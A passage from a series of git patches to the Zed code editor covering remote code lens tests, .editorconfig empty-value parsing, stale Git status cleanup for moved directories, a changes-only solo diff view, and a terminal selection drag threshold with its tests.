+    cx.run_until_parked();
+
+    // Prime the code lens cache while no LSP server exists on the host.
+    // This simulates the race where the editor fetches code lenses during
+    // initial paint before the language server has started.
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let initial_actions = lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap();
+    assert_eq!(
+        initial_actions.map(|a| a.len()),
+        Some(0),
+        "Before any LSP starts, code lenses should be empty"
+    );
+
+    // Now register the LSP on the host. This triggers server startup and
+    // buffer registration, propagating capabilities to the client.
+    server_cx.update(|cx| {
+        headless.read(cx).languages.register_fake_lsp_server(
+            LanguageServerName("rust-analyzer".into()),
+            capabilities,
+            Some(Box::new(|fake_lsp| {
+                fake_lsp.set_request_handler::<lsp::request::CodeLensRequest, _, _>(
+                    |_, _| async move {
+                        Ok(Some(vec![lsp::CodeLens {
+                            range: lsp::Range::new(
+                                lsp::Position::new(0, 0),
+                                lsp::Position::new(0, 9),
+                            ),
+                            command: Some(lsp::Command {
+                                title: "1 reference".to_string(),
+                                command: "lens_cmd".to_string(),
+                                arguments: None,
+                            }),
+                            data: None,
+                        }]))
+                    },
+                );
+            })),
+        );
+    });
+
+    // Trigger re-evaluation of language servers for the already-open buffer.
+    server_cx.update_entity(&headless, |headless, cx| {
+        headless.lsp_store.update(cx, |lsp_store, cx| {
+            lsp_store.restart_all_language_servers(cx);
+        });
+    });
+    cx.run_until_parked();
+
+    // A subsequent fetch must bypass the stale (empty) cache now that a
+    // new server is available.
+    let actions = lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap();
+    let actions = actions.expect("Should have code lens actions after LSP starts");
+    assert_eq!(
+        actions.len(),
+        1,
+        "Should have fetched one code lens from the newly started LSP"
+    );
+    assert_eq!(
+        actions.values().next().unwrap().lsp_action.title(),
+        "1 reference",
+    );
+}
+
+#[gpui::test]
+async fn test_remote_code_lens_resolve(cx: &mut TestAppContext, server_cx: &mut TestAppContext) {
+    cx.update(|cx| {
+        let settings_store = SettingsStore::test(cx);
+        cx.set_global(settings_store);
+        theme_settings::init(theme::LoadThemes::JustBase, cx);
+        release_channel::init(semver::Version::new(0, 0, 0), cx);
+        editor::init(cx);
+        SettingsStore::update_global(cx, |store, cx| {
+            store.update_user_settings(cx, |settings| {
+                settings.editor.code_lens = Some(settings::CodeLens::Menu);
+            });
+        });
+    });
+
+    let fs = FakeFs::new(server_cx.executor());
+    fs.insert_tree(
+        path!("/code"),
+        json!({
+            "project1": {
+                ".git": {},
+                "src": {
+                    "lib.rs": "fn one() -> usize { 1 }"
+                }
+            },
+        }),
+    )
+    .await;
+
+    let (project, headless) = init_test(&fs, cx, server_cx).await;
+
+    let capabilities = lsp::ServerCapabilities {
+        code_lens_provider: Some(lsp::CodeLensOptions {
+            resolve_provider: Some(true),
+        }),
+        ..lsp::ServerCapabilities::default()
+    };
+
+    cx.update_entity(&project, |project, _| {
+        project.languages().register_test_language(LanguageConfig {
+            name: "Rust".into(),
+            matcher: LanguageMatcher {
+                path_suffixes: vec!["rs".into()],
+                ..Default::default()
+            },
+            ..Default::default()
+        });
+        project.languages().register_fake_lsp_adapter(
+            "Rust",
+            FakeLspAdapter {
+                name: "rust-analyzer",
+                capabilities: capabilities.clone(),
+                ..FakeLspAdapter::default()
+            },
+        );
+    });
+
+    server_cx.update(|cx| {
+        headless.read(cx).languages.register_fake_lsp_server(
+            LanguageServerName("rust-analyzer".into()),
+            capabilities,
+            Some(Box::new(|fake_lsp| {
+                fake_lsp.set_request_handler::<lsp::request::CodeLensRequest, _, _>(
+                    |_, _| async move {
+                        Ok(Some(vec![lsp::CodeLens {
+                            range: lsp::Range::new(
+                                lsp::Position::new(0, 0),
+                                lsp::Position::new(0, 9),
+                            ),
+                            command: None,
+                            data: Some(serde_json::json!({ "id": "lens" })),
+                        }]))
+                    },
+                );
+                fake_lsp.set_request_handler::<lsp::request::CodeLensResolve, _, _>(
+                    |lens, _| async move {
+                        Ok(lsp::CodeLens {
+                            command: Some(lsp::Command {
+                                title: "1 reference".to_string(),
+                                command: "noop".to_string(),
+                                arguments: None,
+                            }),
+                            ..lens
+                        })
+                    },
+                );
+            })),
+        );
+    });
+
+    cx.run_until_parked();
+
+    let worktree_id = project
+        .update(cx, |project, cx| {
+            project.languages().add(rust_lang());
+            project.find_or_create_worktree(path!("/code/project1"), true, cx)
+        })
+        .await
+        .unwrap()
+        .0
+        .read_with(cx, |worktree, _| worktree.id());
+    cx.run_until_parked();
+
+    let (buffer, _handle) = project
+        .update(cx, |project, cx| {
+            project.open_buffer_with_lsp((worktree_id, rel_path("src/lib.rs")), cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    let cx = cx.add_empty_window();
+    let workspace = cx.new_window_entity(|window, cx| {
+        workspace::Workspace::test_new(project.clone(), window, cx)
+    });
+    let editor = cx.new_window_entity(|window, cx| {
+        Editor::for_buffer(buffer.clone(), Some(project.clone()), window, cx)
+    });
+    workspace.update_in(cx, |workspace, window, cx| {
+        workspace.add_item_to_active_pane(Box::new(editor.clone()), None, true, window, cx);
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(SelectionEffects::default(), window, cx, |s| {
+            s.select_ranges([Point::new(0, 0)..Point::new(0, 0)]);
+        });
+    });
+    cx.executor()
+        .advance_clock(editor::CODE_ACTIONS_DEBOUNCE_TIMEOUT * 2);
+    cx.run_until_parked();
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.toggle_code_actions(
+            &ToggleCodeActions {
+                deployed_from: None,
+                quick_launch: false,
+            },
+            window,
+            cx,
+        );
+    });
+    cx.run_until_parked();
+
+    editor.update(cx, |editor, _| {
+        assert!(editor.context_menu_visible());
+        let menu = editor.context_menu().borrow();
+        let actions_menu = match menu.as_ref() {
+            Some(CodeContextMenu::CodeActions(m)) => m,
+            _ => panic!("Expected code actions menu to be visible"),
+        };
+        let item = actions_menu
+            .actions
+            .get(0)
+            .expect("Expected at least one item in menu");
+        assert_eq!(item.label(), "1 reference");
+    });
+}
+
 #[gpui::test]
 async fn test_remote_cancel_language_server_work(
     cx: &mut TestAppContext,

From 7582bf74349f6084d4f7370ebb8215d70f7105cf Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Sun, 28 Jun 2026 19:15:20 +0300
Subject: [PATCH 137/772] Allow empty values in .editorconfig (#60026)

Closes https://github.com/zed-industries/zed/pull/59559
Closes https://github.com/zed-industries/zed/issues/59466

Release Notes:

- Fixed incorrect parsing of .editorconfig with empty values
---
 Cargo.toml                                      |  2 +-
 .../project/tests/integration/project_tests.rs  | 17 +++++++++++++++++
 2 files changed, 18 insertions(+), 1 deletion(-)

diff --git a/Cargo.toml b/Cargo.toml
index 19145a6727da45..4f36916d2ddeac 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -585,7 +585,7 @@ dirs = "6.0"
 documented = "0.9.1"
 dotenvy = "0.15.0"
 dunce = "1.0"
-ec4rs = "1.1"
+ec4rs = { version = "1.2", features = ["allow-empty-values"] }
 emojis = "0.6.1"
 env_logger = "0.11"
 encoding_rs = "0.8"
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index bed11fa216e3f9..037e62c6e0cc88 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -284,6 +284,15 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
             "#,
             "d.rs": "fn d() {\n    D\n}",
         },
+        "e": {
+            ".editorconfig": r#"
+            [*.rs]
+                indent_size = 5
+                indent_style = space
+                max_line_length =
+            "#,
+            "e.rs": "fn e() {\n    E\n}",
+        },
         "README.json": "tabs are better\n",
     }));
 
@@ -315,6 +324,7 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
     let settings_b = settings_for("b/b.rs", cx).await;
     let settings_c = settings_for("c.js", cx).await;
     let settings_d = settings_for("d/d.rs", cx).await;
+    let settings_e = settings_for("e/e.rs", cx).await;
     let settings_readme = settings_for("README.json", cx).await;
     // .editorconfig overrides .zed/settings
     assert_eq!(Some(settings_a.tab_size), NonZeroU32::new(3));
@@ -330,6 +340,13 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
     // .editorconfig in subdirectory overrides .editorconfig in root
     assert_eq!(Some(settings_d.tab_size), NonZeroU32::new(1));
 
+    // Non-empty values in e/ are parsed and applied as usual.
+    assert_eq!(Some(settings_e.tab_size), NonZeroU32::new(5));
+    assert_eq!(settings_e.hard_tabs, false);
+    // An empty value opts out of the inherited `max_line_length = 120`,
+    // falling back to .zed/settings.json instead of rejecting the whole file.
+    assert_eq!(settings_e.preferred_line_length, 64);
+
     // "indent_size" is not set, so "tab_width" is used
     assert_eq!(Some(settings_c.tab_size), NonZeroU32::new(10));
 

From 33473c1cd3b6555145e12e39590c6790077088a1 Mon Sep 17 00:00:00 2001
From: Bing Wang <wangbing.adam@gmail.com>
Date: Mon, 29 Jun 2026 10:54:40 +0800
Subject: [PATCH 138/772] git_panel: Fix stale Git status entries for moved
 directories (#59934)

# Objective

Fix stale Git status entries for moved directories

## Solution

Coalesce changed paths before scanning and remove cached descendant
statuses when a directory disappears from the current status set.



## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable



---

Release Notes:

- Fixed stale Git status entries for moved directories
---
 crates/project/src/git_store.rs               | 41 ++++++---
 .../tests/integration/project_tests.rs        | 90 +++++++++++++++++++
 2 files changed, 121 insertions(+), 10 deletions(-)

diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 1056e45f3bb641..1edd3780307ecb 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -8636,8 +8636,14 @@ impl Repository {
 
                 let changed_path_statuses = cx
                     .background_spawn(async move {
-                        let mut changed_paths =
-                            changed_paths.into_iter().flatten().collect::<BTreeSet<_>>();
+                        let changed_paths = GitStore::coalesce_repo_paths(
+                            changed_paths
+                                .into_iter()
+                                .flatten()
+                                .collect::<BTreeSet<_>>()
+                                .into_iter()
+                                .collect(),
+                        );
                         let changed_paths_vec = changed_paths.iter().cloned().collect::<Vec<_>>();
 
                         let status_task = backend.status(&changed_paths_vec);
@@ -8658,12 +8664,34 @@ impl Repository {
 
                         let mut changed_path_statuses = Vec::new();
                         let prev_statuses = prev_snapshot.statuses_by_path.clone();
+                        let current_status_paths = statuses
+                            .entries
+                            .iter()
+                            .map(|(repo_path, _)| repo_path.clone())
+                            .collect::<BTreeSet<_>>();
+
+                        for path in &changed_paths {
+                            let mut cursor = prev_statuses.cursor::<PathProgress>(());
+                            cursor.seek_forward(&PathTarget::Path(path), Bias::Left);
+                            while let Some(entry) = cursor.item() {
+                                if !entry.repo_path.starts_with(path) {
+                                    break;
+                                }
+
+                                if !current_status_paths.contains(&entry.repo_path) {
+                                    changed_path_statuses.push(Edit::Remove(PathKey(
+                                        entry.repo_path.as_ref().clone(),
+                                    )));
+                                }
+                                cursor.next();
+                            }
+                        }
+
                         let mut cursor = prev_statuses.cursor::<PathProgress>(());
 
                         for (repo_path, status) in &*statuses.entries {
                             let current_diff_stat = diff_stats.get(repo_path).copied();
 
-                            changed_paths.remove(repo_path);
                             if cursor.seek_forward(&PathTarget::Path(repo_path), Bias::Left)
                                 && cursor.item().is_some_and(|entry| {
                                     entry.status == *status && entry.diff_stat == current_diff_stat
@@ -8678,13 +8706,6 @@ impl Repository {
                                 diff_stat: current_diff_stat,
                             }));
                         }
-                        let mut cursor = prev_statuses.cursor::<PathProgress>(());
-                        for path in changed_paths.into_iter() {
-                            if cursor.seek_forward(&PathTarget::Path(&path), Bias::Left) {
-                                changed_path_statuses
-                                    .push(Edit::Remove(PathKey(path.as_ref().clone())));
-                            }
-                        }
                         anyhow::Ok(changed_path_statuses)
                     })
                     .await?;
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index 037e62c6e0cc88..16e948f3a730f8 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -11316,6 +11316,96 @@ async fn test_git_repository_status(cx: &mut gpui::TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_git_repository_status_removes_directory_descendants(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    cx.executor().allow_parking();
+
+    let fs = FakeFs::new(cx.background_executor.clone());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "project": {
+                ".git": {},
+                "ci2": {
+                    "Dockerfile.namespace": "untracked",
+                },
+            },
+        }),
+    )
+    .await;
+    fs.set_status_for_repo(
+        path!("/root/project/.git").as_ref(),
+        &[("ci2/Dockerfile.namespace", FileStatus::Untracked)],
+    );
+
+    let project = Project::test(fs.clone(), [path!("/root/project").as_ref()], cx).await;
+
+    let tree = project.read_with(cx, |project, cx| project.worktrees(cx).next().unwrap());
+    tree.flush_fs_events(cx).await;
+    project
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    cx.executor().run_until_parked();
+
+    let repository = project.read_with(cx, |project, cx| {
+        project.repositories(cx).values().next().unwrap().clone()
+    });
+
+    repository.read_with(cx, |repository, _| {
+        assert_eq!(
+            repository.cached_status().collect::<Vec<_>>(),
+            [StatusEntry {
+                repo_path: repo_path("ci2/Dockerfile.namespace"),
+                status: FileStatus::Untracked,
+                diff_stat: None,
+            }]
+        );
+    });
+
+    fs.pause_events();
+    fs.create_dir(path!("/root/project/ci3").as_ref())
+        .await
+        .unwrap();
+    fs.copy_file(
+        path!("/root/project/ci2/Dockerfile.namespace").as_ref(),
+        path!("/root/project/ci3/Dockerfile.namespace").as_ref(),
+        Default::default(),
+    )
+    .await
+    .unwrap();
+    fs.remove_dir(
+        path!("/root/project/ci2").as_ref(),
+        RemoveOptions {
+            recursive: true,
+            ..Default::default()
+        },
+    )
+    .await
+    .unwrap();
+    fs.clear_buffered_events();
+    fs.unpause_events_and_flush();
+    fs.emit_fs_event(path!("/root/project/ci2"), Some(PathEventKind::Removed));
+    fs.emit_fs_event(path!("/root/project/ci3"), Some(PathEventKind::Created));
+
+    tree.flush_fs_events(cx).await;
+    project
+        .update(cx, |project, cx| project.git_scans_complete(cx))
+        .await;
+    cx.executor().run_until_parked();
+
+    repository.read_with(cx, |repository, _| {
+        assert_eq!(
+            repository.cached_status().collect::<Vec<_>>(),
+            [StatusEntry {
+                repo_path: repo_path("ci3/Dockerfile.namespace"),
+                status: FileStatus::Untracked,
+                diff_stat: None,
+            }]
+        );
+    });
+}
+
 #[cfg(target_os = "linux")]
 #[gpui::test(retries = 5)]
 async fn test_git_events_after_project_excludes_dot_git(cx: &mut gpui::TestAppContext) {

From 5fa184f8b63df7e084140ab3c2a91b4a6f262bab Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Mon, 29 Jun 2026 08:29:25 +0530
Subject: [PATCH 139/772] solo_diff_view: Show changes only by default (#59958)

# Objective

- Default the solo diff view to show changed hunks with excerpted
context instead of expanding the entire file.
- Closes https://github.com/zed-industries/zed/issues/59489

## Solution

- Initialize the solo diff editor with excerpts around changed hunks.
- Add a header toggle for switching between the excerpted changes-only
view and the full-file view.
- Keep both sides of the split diff visually aligned when excerpts are
collapsed.

## Testing

- `cargo check -p git_ui`
- `cargo test -p git_ui`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>

Changes-only default view:
<img width="1624" height="1030"
alt="solo_diff_view_new_default_changes_only_view"
src="https://github.com/user-attachments/assets/c6fb937e-8882-415c-8476-b9c3019c152e"
/>


Toggled full-file view:
<img width="1624" height="1030"
alt="solo_diff_view_toggled_to_full_file_view"
src="https://github.com/user-attachments/assets/3d736d00-178a-4dfa-b1ff-d3d15e33b30e"
/>

</details>

---

Release Notes:

- Improved solo diff view to show changed hunks by default with a toggle
for viewing the full file.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/editor/src/split.rs          |   4 +-
 crates/git_ui/src/solo_diff_view.rs | 125 ++++++++++++++++++++++++++--
 2 files changed, 119 insertions(+), 10 deletions(-)

diff --git a/crates/editor/src/split.rs b/crates/editor/src/split.rs
index 5d3943dc9b5e29..e568b886f73af5 100644
--- a/crates/editor/src/split.rs
+++ b/crates/editor/src/split.rs
@@ -601,9 +601,9 @@ impl SplittableEditor {
             return;
         }
 
-        let is_rhs_singleton = self.rhs_multibuffer.read(cx).is_singleton();
+        let rhs_has_headers = self.rhs_multibuffer.read(cx).snapshot(cx).show_headers();
         let lhs_multibuffer = cx.new(|cx| {
-            let mut multibuffer = if is_rhs_singleton {
+            let mut multibuffer = if !rhs_has_headers {
                 MultiBuffer::without_headers(Capability::ReadOnly)
             } else {
                 MultiBuffer::new(Capability::ReadOnly)
diff --git a/crates/git_ui/src/solo_diff_view.rs b/crates/git_ui/src/solo_diff_view.rs
index 90cc23b726aa5a..90bde497fa1a84 100644
--- a/crates/git_ui/src/solo_diff_view.rs
+++ b/crates/git_ui/src/solo_diff_view.rs
@@ -14,8 +14,8 @@ use gpui::{
     Action, AnyElement, App, AppContext as _, Context, Entity, EventEmitter, FocusHandle,
     Focusable, IntoElement, Render, Subscription, Task, WeakEntity, Window,
 };
-use language::{Buffer, HighlightedText};
-use multi_buffer::MultiBuffer;
+use language::{Anchor, Buffer, HighlightedText, OffsetRangeExt as _, Point};
+use multi_buffer::{MultiBuffer, PathKey, excerpt_context_lines};
 use project::{
     Project,
     git_store::{Repository, RepositoryId},
@@ -23,6 +23,7 @@ use project::{
 use settings::{DiffViewStyle, Settings, SettingsStore, update_settings_file};
 use std::{
     any::{Any, TypeId},
+    ops::Range,
     sync::Arc,
 };
 use ui::{
@@ -43,8 +44,10 @@ pub struct SoloDiffView {
     repository_id: RepositoryId,
     repo_path: RepoPath,
     buffer: Entity<Buffer>,
+    diff: Entity<buffer_diff::BufferDiff>,
     editor: Entity<SplittableEditor>,
     workspace: WeakEntity<Workspace>,
+    showing_full_file: bool,
     _settings_subscription: Subscription,
 }
 
@@ -129,9 +132,15 @@ impl SoloDiffView {
     ) -> Self {
         let repository_id = repository.read(cx).id;
         let multibuffer = cx.new(|cx| {
-            let mut multibuffer = MultiBuffer::singleton(buffer.clone(), cx);
-            multibuffer.add_diff(diff, cx);
-            multibuffer.set_all_diff_hunks_expanded(cx);
+            let mut multibuffer = MultiBuffer::without_headers(buffer.read(cx).capability());
+            multibuffer.set_excerpts_for_path(
+                PathKey::for_buffer(&buffer, cx),
+                buffer.clone(),
+                Self::hunk_ranges(&buffer, &diff, cx),
+                excerpt_context_lines(cx),
+                cx,
+            );
+            multibuffer.add_diff(diff.clone(), cx);
             multibuffer
         });
         let editor = cx.new(|cx| {
@@ -178,12 +187,65 @@ impl SoloDiffView {
             repository_id,
             repo_path,
             buffer,
+            diff,
             editor,
             workspace: workspace.downgrade(),
+            showing_full_file: false,
             _settings_subscription: settings_subscription,
         }
     }
 
+    fn hunk_ranges(
+        buffer: &Entity<Buffer>,
+        diff: &Entity<buffer_diff::BufferDiff>,
+        cx: &App,
+    ) -> Vec<Range<Point>> {
+        let buffer = buffer.read(cx);
+        diff.read(cx)
+            .snapshot(cx)
+            .hunks_intersecting_range(
+                Anchor::min_for_buffer(buffer.remote_id())
+                    ..Anchor::max_for_buffer(buffer.remote_id()),
+                buffer,
+            )
+            .map(|diff_hunk| diff_hunk.buffer_range.to_point(buffer))
+            .collect()
+    }
+
+    fn set_showing_full_file(&mut self, showing_full_file: bool, cx: &mut Context<Self>) {
+        if self.showing_full_file == showing_full_file {
+            return;
+        }
+
+        let ranges = if showing_full_file {
+            let buffer = self.buffer.read(cx);
+            vec![Point::zero()..buffer.max_point()]
+        } else {
+            Self::hunk_ranges(&self.buffer, &self.diff, cx)
+        };
+        let context_line_count = if showing_full_file {
+            0
+        } else {
+            excerpt_context_lines(cx)
+        };
+
+        self.editor.update(cx, |editor, cx| {
+            let path = PathKey::for_buffer(&self.buffer, cx);
+            editor.remove_excerpts_for_path(path.clone(), cx);
+            editor.update_excerpts_for_path(
+                path,
+                self.buffer.clone(),
+                ranges,
+                context_line_count,
+                self.diff.clone(),
+                cx,
+            );
+        });
+
+        self.showing_full_file = showing_full_file;
+        cx.notify();
+    }
+
     fn matches(&self, repository: &Entity<Repository>, repo_path: &RepoPath, cx: &App) -> bool {
         self.repository_id == repository.read(cx).id && &self.repo_path == repo_path
     }
@@ -367,13 +429,15 @@ impl Item for SoloDiffView {
     ) -> Option<gpui::AnyEntity> {
         if type_id == TypeId::of::<Self>() {
             Some(self_handle.clone().into())
+        } else if type_id == TypeId::of::<SplittableEditor>() {
+            None
         } else {
             self.editor.act_as_type(type_id, cx)
         }
     }
 
     fn as_searchable(&self, _: &Entity<Self>, _: &App) -> Option<Box<dyn SearchableItemHandle>> {
-        Some(Box::new(self.editor.clone()))
+        None
     }
 
     fn for_each_project_item(
@@ -415,7 +479,22 @@ impl Item for SoloDiffView {
     }
 
     fn breadcrumbs(&self, cx: &App) -> Option<(Vec<HighlightedText>, Option<gpui::Font>)> {
-        self.editor.breadcrumbs(cx)
+        Some((
+            vec![HighlightedText {
+                text: self
+                    .repo_path
+                    .as_ref()
+                    .display(PathStyle::local())
+                    .into_owned()
+                    .into(),
+                highlights: Vec::new(),
+            }],
+            Some(
+                theme_settings::ThemeSettings::get_global(cx)
+                    .buffer_font
+                    .clone(),
+            ),
+        ))
     }
 
     fn added_to_workspace(
@@ -505,6 +584,14 @@ impl SoloDiffStyleToolbar {
 
         cx.notify();
     }
+
+    fn toggle_showing_full_file(&mut self, cx: &mut Context<Self>) {
+        if let Some(solo_diff) = self.solo_diff() {
+            solo_diff.update(cx, |solo_diff, cx| {
+                solo_diff.set_showing_full_file(!solo_diff.showing_full_file, cx);
+            });
+        }
+    }
 }
 
 impl EventEmitter<ToolbarItemEvent> for SoloDiffStyleToolbar {}
@@ -532,7 +619,10 @@ impl Render for SoloDiffStyleToolbar {
         let Some(solo_diff) = self.solo_diff() else {
             return div();
         };
-        let editor_entity = solo_diff.read(cx).editor.clone();
+        let (editor_entity, showing_full_file) = {
+            let solo_diff = solo_diff.read(cx);
+            (solo_diff.editor.clone(), solo_diff.showing_full_file)
+        };
         let editor = editor_entity.read(cx);
         let diff_view_style = editor.diff_view_style();
         let is_split_set = diff_view_style == DiffViewStyle::Split;
@@ -546,6 +636,25 @@ impl Render for SoloDiffStyleToolbar {
             .h_8()
             .items_center()
             .gap_1()
+            .child(
+                IconButton::new(
+                    "solo-diff-toggle-excerpts",
+                    if showing_full_file {
+                        IconName::ChevronDownUp
+                    } else {
+                        IconName::ChevronUpDown
+                    },
+                )
+                .icon_size(IconSize::Small)
+                .tooltip(Tooltip::text(if showing_full_file {
+                    "Show Changes Only"
+                } else {
+                    "Show Full File"
+                }))
+                .on_click(cx.listener(|this, _, _, cx| {
+                    this.toggle_showing_full_file(cx);
+                })),
+            )
             .child(
                 IconButton::new("solo-diff-unified", IconName::DiffUnified)
                     .icon_size(IconSize::Small)

From b40aa65d9ede445f2159c3088e0a0240c9efb18a Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Sun, 28 Jun 2026 21:49:19 -0700
Subject: [PATCH 140/772] terminal: Require a drag threshold before starting a
 selection (#59918)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #58970.

With `terminal.copy_on_select` enabled, a left click that isn't a
deliberate selection can still overwrite the system clipboard. It
happens most often on the window-focusing click (clicking into the
terminal from another app), where the pointer jitters by a pixel or two
during the click. A perfectly motionless click is already safe (it
produces a zero-length selection and the copy is skipped), but the drag
handler treats *any* movement as the start of a selection, so a 1px
jitter creates a stray selection that `copy_on_select` then copies,
clobbering whatever was on the clipboard.

## Solution

Apply a small drag-distance threshold before a left click begins a
selection, matching the threshold gpui's `div` element already uses
(`DRAG_THRESHOLD = 2.0`). `mouse_down` records the press position, and
`mouse_drag` ignores movement below the threshold until a selection has
actually started. Once a selection is in progress it keeps extending as
before. This is the same click-vs-drag handling other terminals use
(kitty's `drag_threshold`, iTerm2).

## Testing

Added two unit tests in `crates/terminal/src/terminal.rs`:

- `test_terminal_click_jitter_does_not_start_selection` — a 1px drag
after mouse-down enqueues no `UpdateSelection` and leaves the selection
phase `Ended`.
- `test_terminal_deliberate_drag_starts_selection` — a drag well past
the threshold still starts a selection.

The first test fails on `main` (the jitter starts a selection) and
passes with this change. The rest of the `terminal` suite is green and
`script/clippy -p terminal` is clean.

I tested on Linux. The fix lives in the shared `Terminal` mouse
handling, so it's platform-independent, but I haven't manually
reproduced the macOS focusing-click scenario from the report on a Mac.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed `terminal.copy_on_select` overwriting the clipboard when a click
jittered without an intentional drag.
---
 crates/terminal/src/terminal.rs | 100 ++++++++++++++++++++++++++++++++
 1 file changed, 100 insertions(+)

diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index b74c79d4131874..a48aae5fa6eaad 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -950,6 +950,7 @@ impl TerminalBuilder {
                 ..Default::default()
             },
             last_mouse: None,
+            mouse_down_position: None,
             matches: Vec::new(),
 
             selection_head: None,
@@ -1172,6 +1173,7 @@ impl TerminalBuilder {
                 events: VecDeque::with_capacity(10), //Should never get this high.
                 last_content: Default::default(),
                 last_mouse: None,
+                mouse_down_position: None,
                 matches: Vec::new(),
 
                 selection_head: None,
@@ -1342,6 +1344,9 @@ pub struct Terminal {
     events: VecDeque<InternalEvent>,
     /// This is only used for mouse mode cell change detection
     last_mouse: Option<(Point, SelectionSide)>,
+    /// Window-relative position of the most recent left mouse-down. Used to
+    /// apply a drag threshold before starting a selection (see #58970).
+    mouse_down_position: Option<GpuiPoint<Pixels>>,
     pub matches: Vec<Range>,
     pub last_content: Content,
     pub selection_head: Option<Point>,
@@ -1419,6 +1424,12 @@ impl TaskStatus {
 
 const FIND_HYPERLINK_THROTTLE_PX: Pixels = px(5.0);
 
+/// Minimum pointer movement before a left click begins a selection. This keeps
+/// a click that jitters by a pixel or two (such as the window-focusing click)
+/// from starting a selection and, with `copy_on_select` enabled, clobbering the
+/// clipboard. Mirrors the drag threshold used by gpui's `div` element.
+const SELECTION_DRAG_THRESHOLD: f64 = 2.0;
+
 impl Terminal {
     fn process_pty_event(&mut self, event: PtyEvent, cx: &mut Context<Self>) {
         match event {
@@ -2330,6 +2341,16 @@ impl Terminal {
                 }
             }
 
+            // Ignore tiny pointer movements so that a click that jitters by a
+            // pixel or two (e.g. the window-focusing click) does not begin a
+            // selection. Mirrors the drag threshold used by gpui's `div`.
+            if self.selection_phase != SelectionPhase::Selecting
+                && let Some(mouse_down_position) = self.mouse_down_position
+                && (e.position - mouse_down_position).magnitude() <= SELECTION_DRAG_THRESHOLD
+            {
+                return;
+            }
+
             self.selection_phase = SelectionPhase::Selecting;
             // Alacritty has the same ordering, of first updating the selection
             // then scrolling 15ms later
@@ -2397,6 +2418,7 @@ impl Terminal {
         } else {
             match e.button {
                 MouseButton::Left => {
+                    self.mouse_down_position = Some(e.position);
                     let (point, side) = grid_point_and_side(
                         position,
                         self.last_content.terminal_bounds,
@@ -2497,6 +2519,7 @@ impl Terminal {
 
         self.selection_phase = SelectionPhase::Ended;
         self.last_mouse = None;
+        self.mouse_down_position = None;
     }
 
     ///Scroll the terminal
@@ -3312,6 +3335,83 @@ mod tests {
         terminal.mouse_up(&mouse_up, cx);
     }
 
+    fn left_mouse_down_at(
+        terminal: &mut Terminal,
+        position: GpuiPoint<Pixels>,
+        cx: &mut Context<Terminal>,
+    ) {
+        let mouse_down = MouseDownEvent {
+            button: MouseButton::Left,
+            position,
+            modifiers: Modifiers::none(),
+            click_count: 1,
+            first_mouse: true,
+        };
+        terminal.mouse_down(&mouse_down, cx);
+    }
+
+    fn left_mouse_drag_to(
+        terminal: &mut Terminal,
+        position: GpuiPoint<Pixels>,
+        cx: &mut Context<Terminal>,
+    ) {
+        let region = terminal.last_content.terminal_bounds.bounds;
+        let drag_event = MouseMoveEvent {
+            position,
+            pressed_button: Some(MouseButton::Left),
+            modifiers: Modifiers::none(),
+        };
+        terminal.mouse_drag(&drag_event, region, cx);
+    }
+
+    /// A left click that jitters by a pixel or two (e.g. the window-focusing
+    /// click) must not begin a selection, otherwise `copy_on_select` would
+    /// overwrite the clipboard. Regression test for #58970.
+    #[gpui::test]
+    async fn test_terminal_click_jitter_does_not_start_selection(cx: &mut TestAppContext) {
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"hello world\r\n");
+
